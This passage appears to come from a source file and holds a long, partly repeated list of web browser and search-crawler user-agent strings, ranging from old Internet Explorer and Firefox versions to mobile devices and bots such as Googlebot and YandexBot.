'Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)',
'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)',
'Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)', 'Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7',
'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)',
'Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)',
'YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)',
'Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)',
'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)',
'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)',
'Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57',
'Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0',
'Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g',
'Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125',
'Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)',
'Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)',
'Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)',
'Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0',
'Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10',
'Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)',
'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)',
'Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)',
'Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)',
'Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16',
'Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)',
'Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7',
'BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0',
'Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)',
'Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)',
'Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10',
'Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)',
'Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007',
'BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57',
'Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0',
'Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g',
'Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125',
'Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)',
'Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)',
'Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)',
'Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0',
'Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10',
'Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)',
'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)',
'Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)',
'Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)',
'Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16',
'Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)',
'Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7',
'BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0',
'Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)',
'Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)',
'Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10',
'Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)',
'Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007',
'BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179',
'Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html) Gecko/2008032620',
'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) AddSugarSpiderBot www.idealobserver.com',
'Mozilla/5.0 (compatible; AnyApexBot/1.0; +http://www.anyapex.com/bot.html)',
'Mozilla/4.0 (compatible; Arachmo)', 'Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)',
'Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)',
'Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)',
'Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)',
'BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)',
'Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)',
'Sqworm/2.9.85-BETA (beta_release; 20011115-775; i686-pc-linux-gnu)',
'Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)',
'Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)',
'Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )',
'Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )',
'Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)',
'Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)',
'Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)',
'Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)',
'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Avant Browser)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/419 (KHTML, like Gecko, Safari/419.3) Cheshire/1.0.ALPHA',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) ChromePlus/4.0.222.3 Chrome/4.0.222.3 Safari/532.2',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1',
'Links (2.7; Linux 3.7.9-2-ARCH x86_64; GNU C 4.7.1; text)',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A',
'Mozilla/5.0 (PLAYSTATION 3; 3.55)', 'Mozilla/5.0 (PLAYSTATION 3; 2.00)',
'Mozilla/5.0 (PLAYSTATION 3; 1.00)',
'Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.4.0',
'Mozilla/5.0 (compatible; AbiLogicBot/1.0; +http://www.abilogic.com/bot.html)',
'SiteBar/3.3.8 (Bookmark Server; http://sitebar.org/)',
'iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)',
'iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)',
'Mozilla/4.0 (compatible; WebCapture 3.0; Macintosh)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) (Prevx 3.0.5) ',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.8) Gecko/20071004 Iceweasel/2.0.0.8 (Debian-2.0.0.6+2.0.0.8-Oetch1)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; {1C69E7AA-C14E-200E-5A77-8EAB2D667A07})',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; acc=baadshah; acc=none; freenet DSL 1.1; (none))',
'Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.51',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57',
'Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0',
'Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g',
'Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125',
'Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)',
'Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)',
'Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)',
'Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0',
'Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10',
'Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)',
'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)',
'Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)',
'Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)',
'Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16',
'Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)',
'Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7',
'BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0',
'Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)',
